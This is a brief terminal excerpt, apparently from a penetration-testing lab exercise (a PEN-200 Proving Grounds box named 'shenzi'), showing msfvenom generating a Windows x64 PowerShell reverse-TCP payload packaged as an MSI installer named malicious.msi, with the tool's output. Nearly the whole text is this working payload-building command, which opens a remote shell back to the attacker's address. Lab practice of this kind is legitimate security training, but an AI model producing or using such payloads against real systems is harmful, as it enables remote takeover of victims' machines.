msfvenom
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/shenzi]
└─$ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=$tun0 LPORT=1234 -f msi -o malicious.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1895 bytes
Final size of msi file: 159744 bytes
Saved as: malicious.msi
msfvenom generated a MSI file